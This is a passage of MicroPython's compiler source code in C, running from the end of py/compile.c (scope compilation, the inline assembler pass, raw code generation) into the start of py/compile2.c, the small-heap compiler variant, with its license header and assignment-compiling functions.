mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 2); assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_comp_for)); mp_parse_node_struct_t *pns_comp_for = (mp_parse_node_struct_t*)pns->nodes[1]; // We need a unique name for the comprehension argument (the iterator). // CPython uses .0, but we should be able to use anything that won't // clash with a user defined variable. Best to use an existing qstr, // so we use the blank qstr. qstr qstr_arg = MP_QSTR_; if (comp->pass == MP_PASS_SCOPE) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qstr_arg, &added); assert(added); id_info->kind = ID_INFO_KIND_LOCAL; scope->num_pos_args = 1; } if (scope->kind == SCOPE_LIST_COMP) { EMIT_ARG(build_list, 0); } else if (scope->kind == SCOPE_DICT_COMP) { EMIT_ARG(build_map, 0); #if MICROPY_PY_BUILTINS_SET } else if (scope->kind == SCOPE_SET_COMP) { EMIT_ARG(build_set, 0); #endif } // There are 4 slots on the stack for the iterator, and the first one is // NULL to indicate that the second one points to the iterator object. if (scope->kind == SCOPE_GEN_EXPR) { // TODO static assert that MP_OBJ_ITER_BUF_NSLOTS == 4 EMIT(load_null); compile_load_id(comp, qstr_arg); EMIT(load_null); EMIT(load_null); } else { compile_load_id(comp, qstr_arg); EMIT_ARG(get_iter, true); } compile_scope_comp_iter(comp, pns_comp_for, pns->nodes[0], 0); if (scope->kind == SCOPE_GEN_EXPR) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } EMIT(return_value); } else { assert(scope->kind == SCOPE_CLASS); assert(MP_PARSE_NODE_IS_STRUCT(scope->pn)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_classdef); if (comp->pass == MP_PASS_SCOPE) { bool added; id_info_t *id_info = scope_find_or_add_id(scope, MP_QSTR___class__, &added); assert(added); id_info->kind = ID_INFO_KIND_LOCAL; } compile_load_id(comp, MP_QSTR___name__); compile_store_id(comp, MP_QSTR___module__); EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pns->nodes[0])); // 0 is class name compile_store_id(comp, MP_QSTR___qualname__); check_for_doc_string(comp, pns->nodes[2]); compile_node(comp, pns->nodes[2]); // 2 is class body id_info_t *id = scope_find(scope, MP_QSTR___class__); assert(id != NULL); if (id->kind == ID_INFO_KIND_LOCAL) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } else { EMIT_LOAD_FAST(MP_QSTR___class__, id->local_num); } EMIT(return_value); } EMIT(end_pass); // make sure we match all the exception levels assert(comp->cur_except_level == 0); } #if MICROPY_EMIT_INLINE_ASM // requires 3 passes: SCOPE, CODE_SIZE, EMIT STATIC void compile_scope_inline_asm(compiler_t *comp, scope_t *scope, pass_kind_t pass) { comp->pass = pass; comp->scope_cur = scope; comp->next_label = 0; if (scope->kind != SCOPE_FUNCTION) { compile_syntax_error(comp, MP_PARSE_NODE_NULL, "inline assembler must be a function"); return; } if (comp->pass > MP_PASS_SCOPE) { EMIT_INLINE_ASM_ARG(start_pass, comp->pass, &comp->compile_error); } // get the function definition parse node assert(MP_PARSE_NODE_IS_STRUCT(scope->pn)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn; assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_funcdef); //qstr f_id = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); // function name // parameters are in pns->nodes[1] if (comp->pass == MP_PASS_CODE_SIZE) { mp_parse_node_t *pn_params; int n_params = mp_parse_node_extract_list(&pns->nodes[1], PN_typedargslist, &pn_params); scope->num_pos_args = EMIT_INLINE_ASM_ARG(count_params, n_params, pn_params); if (comp->compile_error != MP_OBJ_NULL) { goto inline_asm_error; } } // pns->nodes[2] is function return annotation mp_uint_t type_sig = MP_NATIVE_TYPE_INT; mp_parse_node_t pn_annotation = pns->nodes[2]; if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) { // nodes[2] can be null or a test-expr if (MP_PARSE_NODE_IS_ID(pn_annotation)) { qstr ret_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation); switch (ret_type) { case MP_QSTR_object: type_sig = MP_NATIVE_TYPE_OBJ; break; case MP_QSTR_bool: type_sig = MP_NATIVE_TYPE_BOOL; break; case MP_QSTR_int: type_sig = MP_NATIVE_TYPE_INT; break; case MP_QSTR_uint: type_sig = MP_NATIVE_TYPE_UINT; break; default: compile_syntax_error(comp, pn_annotation, "unknown type"); return; } } else { compile_syntax_error(comp, pn_annotation, "return annotation must be an identifier"); } } mp_parse_node_t pn_body = pns->nodes[3]; // body mp_parse_node_t *nodes; int num = mp_parse_node_extract_list(&pn_body, PN_suite_block_stmts, &nodes); for (int i = 0; i < num; i++) { assert(MP_PARSE_NODE_IS_STRUCT(nodes[i])); mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)nodes[i]; if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_pass_stmt) { // no instructions continue; } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) != PN_expr_stmt) { // not an instruction; error not_an_instruction: compile_syntax_error(comp, nodes[i], "expecting an assembler instruction"); return; } // check structure of parse node assert(MP_PARSE_NODE_IS_STRUCT(pns2->nodes[0])); if (!MP_PARSE_NODE_IS_NULL(pns2->nodes[1])) { goto not_an_instruction; } pns2 = (mp_parse_node_struct_t*)pns2->nodes[0]; if (MP_PARSE_NODE_STRUCT_KIND(pns2) != PN_atom_expr_normal) { goto not_an_instruction; } if (!MP_PARSE_NODE_IS_ID(pns2->nodes[0])) { goto not_an_instruction; } if (!MP_PARSE_NODE_IS_STRUCT_KIND(pns2->nodes[1], PN_trailer_paren)) { goto not_an_instruction; } // parse node looks like an instruction // get instruction name and args qstr op = MP_PARSE_NODE_LEAF_ARG(pns2->nodes[0]); pns2 = (mp_parse_node_struct_t*)pns2->nodes[1]; // PN_trailer_paren mp_parse_node_t *pn_arg; int n_args = mp_parse_node_extract_list(&pns2->nodes[0], PN_arglist, &pn_arg); // emit instructions if (op == MP_QSTR_label) { if (!(n_args == 1 && MP_PARSE_NODE_IS_ID(pn_arg[0]))) { compile_syntax_error(comp, nodes[i], "'label' requires 1 argument"); return; } uint lab = comp_next_label(comp); if (pass > MP_PASS_SCOPE) { if (!EMIT_INLINE_ASM_ARG(label, lab, MP_PARSE_NODE_LEAF_ARG(pn_arg[0]))) { compile_syntax_error(comp, nodes[i], "label redefined"); return; } } } else if (op == MP_QSTR_align) { if (!(n_args == 1 && MP_PARSE_NODE_IS_SMALL_INT(pn_arg[0]))) { compile_syntax_error(comp, nodes[i], "'align' requires 1 argument"); return; } if (pass > MP_PASS_SCOPE) { mp_asm_base_align((mp_asm_base_t*)comp->emit_inline_asm, MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[0])); } } else if (op == MP_QSTR_data) { if (!(n_args >= 2 && MP_PARSE_NODE_IS_SMALL_INT(pn_arg[0]))) { compile_syntax_error(comp, nodes[i], "'data' requires at least 2 arguments"); return; } if (pass > MP_PASS_SCOPE) { mp_int_t bytesize = MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[0]); for (uint j = 1; j < n_args; j++) { if (!MP_PARSE_NODE_IS_SMALL_INT(pn_arg[j])) { compile_syntax_error(comp, nodes[i], "'data' requires integer arguments"); return; } mp_asm_base_data((mp_asm_base_t*)comp->emit_inline_asm, bytesize, MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[j])); } } } else { if (pass > MP_PASS_SCOPE) { EMIT_INLINE_ASM_ARG(op, op, n_args, pn_arg); } } if (comp->compile_error != MP_OBJ_NULL) { pns = pns2; // this is the parse node that had the error goto inline_asm_error; } } if (comp->pass > MP_PASS_SCOPE) { EMIT_INLINE_ASM_ARG(end_pass, type_sig); if (comp->pass == MP_PASS_EMIT) { void *f = mp_asm_base_get_code((mp_asm_base_t*)comp->emit_inline_asm); mp_emit_glue_assign_native(comp->scope_cur->raw_code, MP_CODE_NATIVE_ASM, f, mp_asm_base_get_code_size((mp_asm_base_t*)comp->emit_inline_asm), NULL, comp->scope_cur->num_pos_args, 0, type_sig); } } if (comp->compile_error != MP_OBJ_NULL) { // inline assembler had an error; set line for its exception inline_asm_error: comp->compile_error_line = pns->source_line; } } #endif STATIC void scope_compute_things(scope_t *scope) { // in MicroPython we put the *x parameter after all other parameters (except **y) if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) { id_info_t *id_param = NULL; for (int i = scope->id_info_len - 1; i >= 0; i--) { id_info_t *id = &scope->id_info[i]; if (id->flags & ID_FLAG_IS_STAR_PARAM) { if (id_param != NULL) { // swap star param with last param id_info_t temp = *id_param; *id_param = *id; *id = temp; } break; } else if (id_param == NULL && id->flags == ID_FLAG_IS_PARAM) { id_param = id; } } } // in functions, turn implicit globals into explicit globals // compute the index of each local scope->num_locals = 0; for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (scope->kind == SCOPE_CLASS && id->qst == MP_QSTR___class__) { // __class__ is not counted as a local; if it's used then it becomes a ID_INFO_KIND_CELL continue; } if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { id->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; } // params always count for 1 local, even if they are a cell if (id->kind == ID_INFO_KIND_LOCAL || (id->flags & ID_FLAG_IS_PARAM)) { id->local_num = scope->num_locals++; } } // compute the index of cell vars for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; // in MicroPython the cells come right after the fast locals // parameters are not counted here, since they remain at the start // of the locals, even if they are cell vars if (id->kind == ID_INFO_KIND_CELL && !(id->flags & ID_FLAG_IS_PARAM)) { id->local_num = scope->num_locals; scope->num_locals += 1; } } // compute the index of free vars // make sure they are in the order of the parent scope if (scope->parent != NULL) { int num_free = 0; for (int i = 0; i < scope->parent->id_info_len; i++) { id_info_t *id = &scope->parent->id_info[i]; if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) { for (int j = 0; j < scope->id_info_len; j++) { id_info_t *id2 = &scope->id_info[j]; if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) { assert(!(id2->flags & ID_FLAG_IS_PARAM)); // free vars should not be params // in MicroPython the frees come first, before the params id2->local_num = num_free; num_free += 1; } } } } // in MicroPython shift all other locals after the free locals if (num_free > 0) { for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (id->kind != ID_INFO_KIND_FREE || (id->flags & ID_FLAG_IS_PARAM)) { id->local_num += num_free; } } scope->num_pos_args += num_free; // free vars are counted as params for passing them into the function scope->num_locals += num_free; } } } #if !MICROPY_PERSISTENT_CODE_SAVE STATIC #endif mp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) { // put compiler state on the stack, it's relatively small compiler_t comp_state = {0}; compiler_t *comp = &comp_state; comp->source_file = source_file; comp->is_repl = is_repl; comp->break_label = INVALID_LABEL; comp->continue_label = INVALID_LABEL; // create the module scope scope_t *module_scope = scope_new_and_link(comp, SCOPE_MODULE, parse_tree->root, emit_opt); // create standard emitter; it's used at least for MP_PASS_SCOPE emit_t *emit_bc = emit_bc_new(); // compile pass 1 comp->emit = emit_bc; #if MICROPY_EMIT_NATIVE comp->emit_method_table = &emit_bc_method_table; #endif uint max_num_labels = 0; for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) { if (false) { #if MICROPY_EMIT_INLINE_ASM } else if (s->emit_options == MP_EMIT_OPT_ASM) { compile_scope_inline_asm(comp, s, MP_PASS_SCOPE); #endif } else { compile_scope(comp, s, MP_PASS_SCOPE); } // update maximim number of labels needed if (comp->next_label > max_num_labels) { max_num_labels = comp->next_label; } } // compute some things related to scope and identifiers for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) { scope_compute_things(s); } // set max number of labels now that it's calculated emit_bc_set_max_num_labels(emit_bc, max_num_labels); // compile pass 2 and 3 #if MICROPY_EMIT_NATIVE emit_t *emit_native = NULL; #endif for (scope_t *s = comp->scope_head; s != NULL && comp->compile_error == MP_OBJ_NULL; s = s->next) { if (false) { // dummy #if MICROPY_EMIT_INLINE_ASM } else if (s->emit_options == MP_EMIT_OPT_ASM) { // inline assembly if (comp->emit_inline_asm == NULL) { comp->emit_inline_asm = ASM_EMITTER(new)(max_num_labels); } comp->emit = NULL; comp->emit_inline_asm_method_table = &ASM_EMITTER(method_table); compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE); #if MICROPY_EMIT_INLINE_XTENSA // Xtensa requires an extra pass to compute size of l32r const table // TODO this can be improved by calculating it during SCOPE pass // but that requires some other structural changes to the asm emitters compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE); #endif if (comp->compile_error == MP_OBJ_NULL) { compile_scope_inline_asm(comp, s, MP_PASS_EMIT); } #endif } else { // choose the emit type switch (s->emit_options) { #if MICROPY_EMIT_NATIVE case MP_EMIT_OPT_NATIVE_PYTHON: case MP_EMIT_OPT_VIPER: if (emit_native == NULL) { emit_native = NATIVE_EMITTER(new)(&comp->compile_error, max_num_labels); } comp->emit_method_table = &NATIVE_EMITTER(method_table); comp->emit = emit_native; EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ENABLE, s->emit_options == MP_EMIT_OPT_VIPER, 0); break; #endif // MICROPY_EMIT_NATIVE default: comp->emit = emit_bc; #if MICROPY_EMIT_NATIVE comp->emit_method_table = &emit_bc_method_table; #endif break; } // need a pass to compute stack size compile_scope(comp, s, MP_PASS_STACK_SIZE); // second last pass: compute code size if (comp->compile_error == MP_OBJ_NULL) { compile_scope(comp, s, MP_PASS_CODE_SIZE); } // final pass: emit code if (comp->compile_error == MP_OBJ_NULL) { compile_scope(comp, s, MP_PASS_EMIT); } } } if (comp->compile_error != MP_OBJ_NULL) { // if there is no line number for the error then use the line // number for the start of this scope compile_error_set_line(comp, comp->scope_cur->pn); // add a traceback to the exception using relevant source info mp_obj_exception_add_traceback(comp->compile_error, comp->source_file, comp->compile_error_line, comp->scope_cur->simple_name); } // free the emitters emit_bc_free(emit_bc); #if MICROPY_EMIT_NATIVE if (emit_native != NULL) { NATIVE_EMITTER(free)(emit_native); } #endif #if MICROPY_EMIT_INLINE_ASM if (comp->emit_inline_asm != NULL) { ASM_EMITTER(free)(comp->emit_inline_asm); } #endif // free the parse tree mp_parse_tree_clear(parse_tree); // free the scopes mp_raw_code_t *outer_raw_code = module_scope->raw_code; for (scope_t *s = module_scope; s;) { scope_t *next = s->next; scope_free(s); s = next; } if (comp->compile_error != MP_OBJ_NULL) { nlr_raise(comp->compile_error); } else { return outer_raw_code; } } mp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) { mp_raw_code_t *rc = mp_compile_to_raw_code(parse_tree, source_file, emit_opt, is_repl); // return function that executes the outer module return mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL); } #endif // MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER ================================================ FILE: micropython/source/py/compile2.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/scope.h" #include "py/emit.h" #include "py/compile.h" #include "py/runtime.h" #include "py/asmbase.h" #if MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER #if MICROPY_PY_ASYNC_AWAIT #error "async/await syntax not implemented with this parser/compiler" #endif // TODO need to mangle __attr names #define INVALID_LABEL (0xffff) typedef enum { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) PN_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC PN_const_object, // special node for a constant, generic Python object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) PN_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC } pn_kind_t; #define NEED_METHOD_TABLE MICROPY_EMIT_NATIVE #if NEED_METHOD_TABLE // we need a method table to do the lookup for the emitter functions #define EMIT(fun) (comp->emit_method_table->fun(comp->emit)) #define EMIT_ARG(fun, ...) (comp->emit_method_table->fun(comp->emit, __VA_ARGS__)) #define EMIT_LOAD_FAST(qst, local_num) (comp->emit_method_table->load_id.fast(comp->emit, qst, local_num)) #define EMIT_LOAD_GLOBAL(qst) (comp->emit_method_table->load_id.global(comp->emit, qst)) #else // if we only have the bytecode emitter enabled then we can do a direct call to the functions #define EMIT(fun) (mp_emit_bc_##fun(comp->emit)) #define EMIT_ARG(fun, ...) (mp_emit_bc_##fun(comp->emit, __VA_ARGS__)) #define EMIT_LOAD_FAST(qst, local_num) (mp_emit_bc_load_fast(comp->emit, qst, local_num)) #define EMIT_LOAD_GLOBAL(qst) (mp_emit_bc_load_global(comp->emit, qst)) #endif #if MICROPY_EMIT_INLINE_ASM // define macros for inline assembler #if MICROPY_EMIT_INLINE_THUMB #define ASM_DECORATOR_QSTR MP_QSTR_asm_thumb #define ASM_EMITTER(f) emit_inline_thumb_##f #elif MICROPY_EMIT_INLINE_XTENSA #define ASM_DECORATOR_QSTR MP_QSTR_asm_xtensa #define ASM_EMITTER(f) emit_inline_xtensa_##f #else #error "unknown asm emitter" #endif #endif #define EMIT_INLINE_ASM(fun) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm)) #define EMIT_INLINE_ASM_ARG(fun, ...) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm, __VA_ARGS__)) // elements in this struct are ordered to make it compact typedef struct _compiler_t { qstr source_file; uint8_t is_repl; uint8_t pass; // holds enum type pass_kind_t uint8_t have_star; // try to keep compiler clean from nlr mp_obj_t compile_error; // set to an exception object if there's an error size_t compile_error_line; // set to best guess of line of error uint next_label; uint16_t num_dict_params; uint16_t num_default_params; uint16_t break_label; // highest bit set indicates we are breaking out of a for loop uint16_t continue_label; uint16_t cur_except_level; // increased for SETUP_EXCEPT, SETUP_FINALLY; decreased for POP_BLOCK, POP_EXCEPT uint16_t break_continue_except_level; mp_uint_t *co_data; size_t num_scopes; scope_t **scopes; scope_t *scope_cur; emit_t *emit; // current emitter #if NEED_METHOD_TABLE const emit_method_table_t *emit_method_table; // current emit method table #endif #if MICROPY_EMIT_INLINE_ASM emit_inline_asm_t *emit_inline_asm; // current emitter for inline asm const emit_inline_asm_method_table_t *emit_inline_asm_method_table; // current emit method table for inline asm #endif } compiler_t; STATIC void compile_error_set_line(compiler_t *comp, const byte *p) { // if the line of the error is unknown then try to update it from the parse data if (comp->compile_error_line == 0 && p != NULL && pt_is_any_rule(p)) { size_t rule_id, src_line; const byte *ptop; pt_rule_extract(p, &rule_id, &src_line, &ptop); comp->compile_error_line = src_line; } } STATIC void compile_syntax_error(compiler_t *comp, const byte *p, const char *msg) { // only register the error if there has been no other error if (comp->compile_error == MP_OBJ_NULL) { comp->compile_error = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg); compile_error_set_line(comp, p); } } STATIC void compile_trailer_paren_helper(compiler_t *comp, const byte *p_arglist, bool is_method_call, int n_positional_extra); STATIC void compile_comprehension(compiler_t *comp, const byte *p, scope_kind_t kind); STATIC const byte *compile_node(compiler_t *comp, const byte *p); STATIC uint comp_next_label(compiler_t *comp) { return comp->next_label++; } STATIC void compile_increase_except_level(compiler_t *comp) { comp->cur_except_level += 1; if (comp->cur_except_level > comp->scope_cur->exc_stack_size) { comp->scope_cur->exc_stack_size = comp->cur_except_level; } } STATIC void compile_decrease_except_level(compiler_t *comp) { assert(comp->cur_except_level > 0); comp->cur_except_level -= 1; } STATIC void scope_new_and_link(compiler_t *comp, size_t scope_idx, scope_kind_t kind, const byte *p, uint emit_options) { scope_t *scope = scope_new(kind, p, comp->source_file, emit_options); scope->parent = comp->scope_cur; comp->scopes[scope_idx] = scope; } typedef void (*apply_list_fun_t)(compiler_t *comp, const byte *p); STATIC void apply_to_single_or_list(compiler_t *comp, const byte *p, pn_kind_t pn_list_kind, apply_list_fun_t f) { if (pt_is_rule(p, pn_list_kind)) { const byte *ptop; p = pt_rule_extract_top(p, &ptop); while (p != ptop) { f(comp, p); p = pt_next(p); } } else if (!pt_is_null(p)) { f(comp, p); } } STATIC void compile_generic_all_nodes(compiler_t *comp, const byte *p, const byte *ptop) { while (p != ptop) { //printf("NODE: %02x %02x %02x %02x\n", p[0], p[1], p[2], p[3]); p = compile_node(comp, p); } } STATIC void compile_load_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_load(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->load_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_load_id_ops, comp->scope_cur, qst); #endif } } STATIC void compile_store_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_modification(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->store_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_store_id_ops, comp->scope_cur, qst); #endif } } STATIC void compile_delete_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_modification(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->delete_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_delete_id_ops, comp->scope_cur, qst); #endif } } STATIC void c_tuple(compiler_t *comp, const byte *p, const byte *p_list, const byte *p_list_top) { int total = 0; if (p != NULL) { compile_node(comp, p); total += 1; } while (p_list != p_list_top) { p_list = compile_node(comp, p_list); total += 1; } EMIT_ARG(build_tuple, total); } STATIC void compile_generic_tuple(compiler_t *comp, const byte *p, const byte *ptop) { // a simple tuple expression c_tuple(comp, NULL, p, ptop); } STATIC bool node_is_const_false(const byte *p) { return pt_is_tok(p, MP_TOKEN_KW_FALSE) || (pt_is_small_int(p) && pt_small_int_value(p) == 0); } STATIC bool node_is_const_true(const byte *p) { return pt_is_tok(p, MP_TOKEN_KW_TRUE) || (pt_is_small_int(p) && pt_small_int_value(p) != 0); } STATIC const byte *c_if_cond(compiler_t *comp, const byte *p, bool jump_if, int label) { if (node_is_const_false(p)) { if (jump_if == false) { EMIT_ARG(jump, label); } return pt_next(p); } else if (node_is_const_true(p)) { if (jump_if == true) { EMIT_ARG(jump, label); } return pt_next(p); } else if (pt_is_any_rule(p)) { const byte *ptop; const byte *p2 = pt_rule_extract_top(p, &ptop); if (pt_is_rule(p, PN_or_test)) { if (jump_if == false) { and_or_logic1:; uint label2 = comp_next_label(comp); while (pt_next(p2) != ptop) { p2 = c_if_cond(comp, p2, !jump_if, label2); } p2 = c_if_cond(comp, p2, jump_if, label); EMIT_ARG(label_assign, label2); } else { and_or_logic2: while (p2 != ptop) { p2 = c_if_cond(comp, p2, jump_if, label); } } return p2; } else if (pt_is_rule(p, PN_and_test)) { if (jump_if == false) { goto and_or_logic2; } else { goto and_or_logic1; } } else if (pt_is_rule(p, PN_not_test_2)) { return c_if_cond(comp, p2, !jump_if, label); } else if (pt_is_rule(p, PN_atom_paren)) { // cond is something in parenthesis if (pt_is_rule_empty(p)) { // empty tuple, acts as false for the condition if (jump_if == false) { EMIT_ARG(jump, label); } } else { assert(pt_is_rule(pt_rule_first(p), PN_testlist_comp)); // non-empty tuple, acts as true for the condition if (jump_if == true) { EMIT_ARG(jump, label); } } return pt_next(p); } } // nothing special, fall back to default compiling for node and jump p = compile_node(comp, p); EMIT_ARG(pop_jump_if, jump_if, label); return p; } typedef enum { ASSIGN_STORE, ASSIGN_AUG_LOAD, ASSIGN_AUG_STORE } assign_kind_t; STATIC void c_assign(compiler_t *comp, const byte *p, assign_kind_t kind); STATIC void c_assign_atom_expr(compiler_t *comp, const byte *p_orig, assign_kind_t assign_kind) { const byte *ptop; const byte *p0 = pt_rule_extract_top(p_orig, &ptop); if (assign_kind != ASSIGN_AUG_STORE) { compile_node(comp, p0); } const byte *p1 = pt_next(p0); if (pt_is_null_with_top(p1, ptop)) { cannot_assign: compile_syntax_error(comp, p_orig, "can't assign to expression"); return; } if (pt_is_rule(p1, PN_atom_expr_trailers)) { const byte *p1top; p1 = pt_rule_extract_top(p1, &p1top); for (;;) { const byte *p1next = pt_next(p1); if (p1next >= p1top) { break; } if (assign_kind != ASSIGN_AUG_STORE) { compile_node(comp, p1); } p1 = p1next; } // p1 now points to final trailer for store } if (pt_is_rule(p1, PN_trailer_bracket)) { if (assign_kind == ASSIGN_AUG_STORE) { EMIT(rot_three); EMIT(store_subscr); } else { compile_node(comp, pt_rule_first(p1)); if (assign_kind == ASSIGN_AUG_LOAD) { EMIT(dup_top_two); EMIT(load_subscr); } else { EMIT(store_subscr); } } } else if (pt_is_rule(p1, PN_trailer_period)) { qstr attr; pt_extract_id(pt_rule_first(p1), &attr); if (assign_kind == ASSIGN_AUG_LOAD) { EMIT(dup_top); EMIT_ARG(load_attr, attr); } else { if (assign_kind == ASSIGN_AUG_STORE) { EMIT(rot_two); } EMIT_ARG(store_attr, attr); } } else { goto cannot_assign; } if (!pt_is_null_with_top(pt_next(p1), ptop)) { goto cannot_assign; } } // we need to allow for a caller passing in 1 initial node followed by an array of nodes STATIC void c_assign_tuple(compiler_t *comp, const byte *p_head, const byte *p_tail, const byte *p_tail_top) { uint num_head = (p_head == NULL) ? 0 : 1; uint num_tail = pt_num_nodes(p_tail, p_tail_top); // look for star expression const byte *p_star = NULL; if (num_head != 0 && pt_is_rule(p_head, PN_star_expr)) { EMIT_ARG(unpack_ex, 0, num_tail); p_star = p_head; } uint i = 0; for (const byte *p = p_tail; p != p_tail_top; p = pt_next(p), ++i) { if (pt_is_rule(p, PN_star_expr)) { if (p_star == NULL) { EMIT_ARG(unpack_ex, num_head + i, num_tail - i - 1); p_star = p; } else { compile_syntax_error(comp, p, "multiple *x in assignment"); return; } } } if (p_star == NULL) { EMIT_ARG(unpack_sequence, num_head + num_tail); } if (num_head != 0) { if (p_head == p_star) { c_assign(comp, pt_rule_first(p_head), ASSIGN_STORE); } else { c_assign(comp, p_head, ASSIGN_STORE); } } for (const byte *p = p_tail; p != p_tail_top; p = pt_next(p)) { if (p == p_star) { c_assign(comp, pt_rule_first(p), ASSIGN_STORE); } else { c_assign(comp, p, ASSIGN_STORE); } } } // assigns top of stack to pn STATIC void c_assign(compiler_t *comp, const byte *p, assign_kind_t assign_kind) { assert(!pt_is_null(p)); if (pt_is_any_id(p)) { qstr arg; p = pt_extract_id(p, &arg); switch (assign_kind) { case ASSIGN_STORE: case ASSIGN_AUG_STORE: compile_store_id(comp, arg); break; case ASSIGN_AUG_LOAD: default: compile_load_id(comp, arg); break; } } else if (!pt_is_any_rule(p)) { compile_syntax_error(comp, p, "can't assign to literal"); } else { switch (pt_rule_extract_rule_id(p)) { case PN_atom_expr_normal: // lhs is an index or attribute c_assign_atom_expr(comp, p, assign_kind); break; case PN_testlist_star_expr: case PN_exprlist: { // lhs is a tuple if (assign_kind != ASSIGN_STORE) { goto bad_aug; } const byte *ptop; const byte *p0 = pt_rule_extract_top(p, &ptop); c_assign_tuple(comp, NULL, p0, ptop); break; } case PN_atom_paren: { // lhs is something in parenthesis const byte *ptop; const byte *p0 = pt_rule_extract_top(p, &ptop); if (pt_is_null_with_top(p0, ptop)) { // empty tuple goto cannot_assign; } else { assert(pt_is_rule(p0, PN_testlist_comp)); if (assign_kind != ASSIGN_STORE) { goto bad_aug; } p = p0; goto testlist_comp; } break; } case PN_atom_bracket: { // lhs is something in brackets if (assign_kind != ASSIGN_STORE) { goto bad_aug; } const byte *ptop; const byte *p0 = pt_rule_extract_top(p, &ptop); // skip rule header if (pt_is_null_with_top(p0, ptop)) { // empty list, assignment allowed c_assign_tuple(comp, NULL, NULL, NULL); } else if (pt_is_rule(p0, PN_testlist_comp)) { p = p0; goto testlist_comp; } else { // brackets around 1 item c_assign_tuple(comp, p0, NULL, NULL); } break; } default: goto cannot_assign; } return; testlist_comp:; // lhs is a sequence const byte *ptop; const byte *p0 = pt_rule_extract_top(p, &ptop); const byte *p1 = pt_next(p0); if (pt_is_rule(p1, PN_testlist_comp_3b)) { // sequence of one item, with trailing comma assert(pt_is_rule_empty(p1)); 